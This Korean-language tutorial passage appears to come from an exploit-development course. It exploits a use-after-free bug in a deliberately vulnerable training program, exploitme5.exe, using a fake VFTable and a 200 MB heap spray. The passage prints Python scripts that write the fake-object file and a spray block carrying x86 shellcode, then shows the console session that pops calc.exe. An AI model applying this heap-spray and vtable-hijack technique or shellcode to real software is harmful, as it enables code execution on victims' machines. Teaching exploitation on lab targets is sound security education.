0a000010  62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62  bbbbbbbbbbbbbbbb

0a000020  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa   <================ start

0a000030  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa

0a000040  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa

0a000050  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa

0a000060  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa


예상했듯이, 우리가 복사한 페이로드가 정확히 0x0a000020 에서 시작함을 볼 수 있습니다. 위 내용을 모두 합쳐 exploitme5.exe 익스플로잇 해보겠습니다.



실제 익스플로잇


코드의 configureMutator() 에서 UAF 버그가 있었습니다. 우리는 이 함수를 이용하여 danling pointer (mutators[0]) 를 생성 할 것입니다. 파일에서 168 바이트 (Multiplier 크기) 블록을 읽음으로써, danling pointer 가 우리가 조작할 수 있는 데이터를 가리키게 할 수 있습니다. 실제로는 데이터의 처음 DWORD 0x0a000020 을 갖으며 이 주소는 실행 흐름을 바꾸기 위해 VFTable 을 넣을 주소 입니다


mutateBlock() 을 보면 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void mutateBlock() {
    listBlocks();
    while (true) {
        printf("Index of block to mutate (-1 to exit): ");
        int index;
        scanf_s("%d"&index);
        fflush(stdin);
        if (index == -1)
            break;
        if (index < 0 || index >= (int)blocks.size()) {
            printf("Wrong index!\n");
        }
        else {
            while (true) {
                printf(
                    "1) Multiplier\n"
                    "2) LowerCaser\n"
                    "3) Exit\n"
                    "Your choice [1-3]: ");
                int choice = _getch();
                printf("\n\n");
                if (choice == '3')
                    break;
                if (choice >= '1' && choice <= '3') {
                    choice -= '0';
                    mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
                    printf("The block was mutated.\n\n");
                    break;
                }
                else
                    printf("Wrong choice!\n\n");
            }
            break;
        }
    }
}
cs


흥미로운 부분은 다음과 같습니다.


1
mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
cs


Multiplier를 선택하면 choice 1이 되고 다음 라인에서 사용됩니다.


1
mutators[0]->mutate(...);
cs


mutate 함수는 Multiplier VFTable에서 두 번째 가상 함수 입니다. 그래서 주소 0x0a000020 에 우리는 다음과 같은 형태로 VFTable을 넣어야 합니다.


0x0a000020:    whatever

0x0a000024:   0x0a000028


mutate 가 호출되면 실행은 0x0a000028 주소로 점프하게 되고 여기에는 우리의 쉘코드가 존재합니다.

 

이제 우리는 힙을 스프레이 하여 우리의 페이로드가 주소 0x0a000020 에 위치하게 하는것을 알았습니다. 우리가 사용할 페이로드는 다음과 같습니다.



전체적으로는 다음과 같습니다.



먼저 d:\obj.dat 을 생성합니다.


1
2
3
4
import struct
with open(r'd:\obj.dat''wb') as f:
    vftable_ptr = struct.pack('<I'0x0a000020)
    f.write(vftable_ptr + 'a'*164)
cs


이후에 d:\buf.dat 을 생성합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import struct
with open(r'd:\buf.dat''wb') as f:
    shellcode = (
        "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
        "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
        "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
        "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
        "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
        "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
        "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
        "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
        "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
        "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
        "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
        "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
        "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
        "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
        "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
        "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
        "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
        "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
        "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
        "\x30\x03\xc6\xeb\xdd")
    vftable = "aaaa" + struct.pack('<I'0x0a000028)        # second virtual function
    code = vftable + shellcode + 'a'*(0x10000 - len(shellcode) - len(vftable))
    block_size = 0x100000-0x30
    block = code*(block_size/len(code)) + code[:block_size % len(code)]
    f.write(block)
cs


이제 exploitme5.exe 를 실행하고 아래와 같이 합니다. (여기서는 WinDbg가 필요 없습니다)


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 1


File path ('exit' to exit): d:\obj.dat


Block read (168 bytes)


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 4


1) Multiplier (multiplier = 2)

2) LowerCaser

3) Exit


Your choice [1-3]: 1


mutators[0] = 0x003dc488        <====================

multiplier (int): asdf

1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 3


------- Blocks -------

block 0: address = 0x003dc538; size = 168

----------------------


Index of block to duplicate (-1 to exit): 0

Number of copies (-1 to exit): 1

1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 2


------- Blocks -------

block 0: address = 0x003dc538; size = 168

block 1: address = 0x003dc488; size = 168       <====================

----------------------


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 1


File path ('exit' to exit): d:\buf.dat


Block read (1048528 bytes)     <==================== 1 MB


1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 3


------- Blocks -------

block 0: address = 0x003dc538; size = 168

block 1: address = 0x003dc488; size = 168

block 2: address = 0x00c60020; size = 1048528

----------------------


Index of block to duplicate (-1 to exit): 2

Number of copies (-1 to exit): 200     <==================== 200 x 1 MB = 200 MB

1) Read block from file

2) List blocks

3) Duplicate Block

4) Configure mutator

5) Mutate block

6) Exit


Your choice [1-6]: 5


------- Blocks -------

block 0: address = 0x003dc538; size = 168

block 1: address = 0x003dc488; size = 168

block 2: address = 0x00c60020; size = 1048528

block 3: address = 0x00e60020; size = 1048528

block 4: address = 0x00f60020; size = 1048528

block 5: address = 0x02480020; size = 1048528

block 6: address = 0x02580020; size = 1048528

block 7: address = 0x02680020; size = 1048528

block 8: address = 0x02780020; size = 1048528

block 9: address = 0x02880020; size = 1048528

block 10: address = 0x02980020; size = 1048528

block 11: address = 0x02a80020; size = 1048528

block 12: address = 0x02b80020; size = 1048528

block 13: address = 0x02c80020; size = 1048528

block 14: address = 0x02d80020; size = 1048528

block 15: address = 0x02e80020; size = 1048528

block 16: address = 0x02f80020; size = 1048528

block 17: address = 0x03080020; size = 1048528

block 18: address = 0x03180020; size = 1048528

block 19: address = 0x03280020; size = 1048528

block 20: address = 0x03380020; size = 1048528

block 21: address = 0x03480020; size = 1048528

block 22: address = 0x03580020; size = 1048528

block 23: address = 0x03680020; size = 1048528

block 24: address = 0x03780020; size = 1048528

block 25: address = 0x03880020; size = 1048528

block 26: address = 0x03980020; size = 1048528

block 27: address = 0x03a80020; size = 1048528

block 28: address = 0x03b80020; size = 1048528

block 29: address = 0x03c80020; size = 1048528

block 30: address = 0x03d80020; size = 1048528

block 31: address = 0x03e80020; size = 1048528

block 32: address = 0x03f80020; size = 1048528

block 33: address = 0x04080020; size = 1048528

block 34: address = 0x04180020; size = 1048528

block 35: address = 0x04280020; size = 1048528

block 36: address = 0x04380020; size = 1048528

block 37: address = 0x04480020; size = 1048528

block 38: address = 0x04580020; size = 1048528

block 39: address = 0x04680020; size = 1048528

block 40: address = 0x04780020; size = 1048528

block 41: address = 0x04880020; size = 1048528

block 42: address = 0x04980020; size = 1048528

block 43: address = 0x04a80020; size = 1048528

block 44: address = 0x04b80020; size = 1048528

block 45: address = 0x04c80020; size = 1048528

block 46: address = 0x04d80020; size = 1048528

block 47: address = 0x04e80020; size = 1048528

block 48: address = 0x04f80020; size = 1048528

block 49: address = 0x05080020; size = 1048528

block 50: address = 0x05180020; size = 1048528

block 51: address = 0x05280020; size = 1048528

block 52: address = 0x05380020; size = 1048528

block 53: address = 0x05480020; size = 1048528

block 54: address = 0x05580020; size = 1048528

block 55: address = 0x05680020; size = 1048528

block 56: address = 0x05780020; size = 1048528

block 57: address = 0x05880020; size = 1048528

block 58: address = 0x05980020; size = 1048528

block 59: address = 0x05a80020; size = 1048528

block 60: address = 0x05b80020; size = 1048528

block 61: address = 0x05c80020; size = 1048528

block 62: address = 0x05d80020; size = 1048528

block 63: address = 0x05e80020; size = 1048528

block 64: address = 0x05f80020; size = 1048528

block 65: address = 0x06080020; size = 1048528

block 66: address = 0x06180020; size = 1048528

block 67: address = 0x06280020; size = 1048528

block 68: address = 0x06380020; size = 1048528

block 69: address = 0x06480020; size = 1048528

block 70: address = 0x06580020; size = 1048528

block 71: address = 0x06680020; size = 1048528

block 72: address = 0x06780020; size = 1048528

block 73: address = 0x06880020; size = 1048528

block 74: address = 0x06980020; size = 1048528

block 75: address = 0x06a80020; size = 1048528

block 76: address = 0x06b80020; size = 1048528

block 77: address = 0x06c80020; size = 1048528

block 78: address = 0x06d80020; size = 1048528

block 79: address = 0x06e80020; size = 1048528

block 80: address = 0x06f80020; size = 1048528

block 81: address = 0x07080020; size = 1048528

block 82: address = 0x07180020; size = 1048528

block 83: address = 0x07280020; size = 1048528

block 84: address = 0x07380020; size = 1048528

block 85: address = 0x07480020; size = 1048528

block 86: address = 0x07580020; size = 1048528

block 87: address = 0x07680020; size = 1048528

block 88: address = 0x07780020; size = 1048528

block 89: address = 0x07880020; size = 1048528

block 90: address = 0x07980020; size = 1048528

block 91: address = 0x07a80020; size = 1048528

block 92: address = 0x07b80020; size = 1048528

block 93: address = 0x07c80020; size = 1048528

block 94: address = 0x07d80020; size = 1048528

block 95: address = 0x07e80020; size = 1048528

block 96: address = 0x07f80020; size = 1048528

block 97: address = 0x08080020; size = 1048528

block 98: address = 0x08180020; size = 1048528

block 99: address = 0x08280020; size = 1048528

block 100: address = 0x08380020; size = 1048528

block 101: address = 0x08480020; size = 1048528

block 102: address = 0x08580020; size = 1048528

block 103: address = 0x08680020; size = 1048528

block 104: address = 0x08780020; size = 1048528

block 105: address = 0x08880020; size = 1048528

block 106: address = 0x08980020; size = 1048528

block 107: address = 0x08a80020; size = 1048528

block 108: address = 0x08b80020; size = 1048528

block 109: address = 0x08c80020; size = 1048528

block 110: address = 0x08d80020; size = 1048528

block 111: address = 0x08e80020; size = 1048528

block 112: address = 0x08f80020; size = 1048528

block 113: address = 0x09080020; size = 1048528

block 114: address = 0x09180020; size = 1048528

block 115: address = 0x09280020; size = 1048528

block 116: address = 0x09380020; size = 1048528

block 117: address = 0x09480020; size = 1048528

block 118: address = 0x09580020; size = 1048528

block 119: address = 0x09680020; size = 1048528

block 120: address = 0x09780020; size = 1048528

block 121: address = 0x09880020; size = 1048528

block 122: address = 0x09980020; size = 1048528

block 123: address = 0x09a80020; size = 1048528

block 124: address = 0x09b80020; size = 1048528

block 125: address = 0x09c80020; size = 1048528

block 126: address = 0x09d80020; size = 1048528

block 127: address = 0x09e80020; size = 1048528

block 128: address = 0x09f80020; size = 1048528

block 129: address = 0x0a080020; size = 1048528

block 130: address = 0x0a180020; size = 1048528

block 131: address = 0x0a280020; size = 1048528

block 132: address = 0x0a380020; size = 1048528

block 133: address = 0x0a480020; size = 1048528

block 134: address = 0x0a580020; size = 1048528

block 135: address = 0x0a680020; size = 1048528

block 136: address = 0x0a780020; size = 1048528

block 137: address = 0x0a880020; size = 1048528

block 138: address = 0x0a980020; size = 1048528

block 139: address = 0x0aa80020; size = 1048528

block 140: address = 0x0ab80020; size = 1048528

block 141: address = 0x0ac80020; size = 1048528

block 142: address = 0x0ad80020; size = 1048528

block 143: address = 0x0ae80020; size = 1048528

block 144: address = 0x0af80020; size = 1048528

block 145: address = 0x0b080020; size = 1048528

block 146: address = 0x0b180020; size = 1048528

block 147: address = 0x0b280020; size = 1048528

block 148: address = 0x0b380020; size = 1048528

block 149: address = 0x0b480020; size = 1048528

block 150: address = 0x0b580020; size = 1048528

block 151: address = 0x0b680020; size = 1048528

block 152: address = 0x0b780020; size = 1048528

block 153: address = 0x0b880020; size = 1048528

block 154: address = 0x0b980020; size = 1048528

block 155: address = 0x0ba80020; size = 1048528

block 156: address = 0x0bb80020; size = 1048528

block 157: address = 0x0bc80020; size = 1048528

block 158: address = 0x0bd80020; size = 1048528

block 159: address = 0x0be80020; size = 1048528

block 160: address = 0x0bf80020; size = 1048528

block 161: address = 0x0c080020; size = 1048528

block 162: address = 0x0c180020; size = 1048528

block 163: address = 0x0c280020; size = 1048528

block 164: address = 0x0c380020; size = 1048528

block 165: address = 0x0c480020; size = 1048528

block 166: address = 0x0c580020; size = 1048528

block 167: address = 0x0c680020; size = 1048528

block 168: address = 0x0c780020; size = 1048528

block 169: address = 0x0c880020; size = 1048528

block 170: address = 0x0c980020; size = 1048528

block 171: address = 0x0ca80020; size = 1048528

block 172: address = 0x0cb80020; size = 1048528

block 173: address = 0x0cc80020; size = 1048528

block 174: address = 0x0cd80020; size = 1048528

block 175: address = 0x0ce80020; size = 1048528

block 176: address = 0x0cf80020; size = 1048528

block 177: address = 0x0d080020; size = 1048528

block 178: address = 0x0d180020; size = 1048528

block 179: address = 0x0d280020; size = 1048528

block 180: address = 0x0d380020; size = 1048528

block 181: address = 0x0d480020; size = 1048528

block 182: address = 0x0d580020; size = 1048528

block 183: address = 0x0d680020; size = 1048528

block 184: address = 0x0d780020; size = 1048528

block 185: address = 0x0d880020; size = 1048528

block 186: address = 0x0d980020; size = 1048528

block 187: address = 0x0da80020; size = 1048528

block 188: address = 0x0db80020; size = 1048528

block 189: address = 0x0dc80020; size = 1048528

block 190: address = 0x0dd80020; size = 1048528

block 191: address = 0x0de80020; size = 1048528

block 192: address = 0x0df80020; size = 1048528

block 193: address = 0x0e080020; size = 1048528

block 194: address = 0x0e180020; size = 1048528

block 195: address = 0x0e280020; size = 1048528

block 196: address = 0x0e380020; size = 1048528

block 197: address = 0x0e480020; size = 1048528

block 198: address = 0x0e580020; size = 1048528

block 199: address = 0x0e680020; size = 1048528

block 200: address = 0x0e780020; size = 1048528

block 201: address = 0x0e880020; size = 1048528

block 202: address = 0x0e980020; size = 1048528

----------------------


Index of block to mutate (-1 to exit): 0

1) Multiplier

2) LowerCaser

3) Exit

Your choice [1-3]: 1


위 작업이 끝나면 계산기가 뜨게 됩니다!

댓글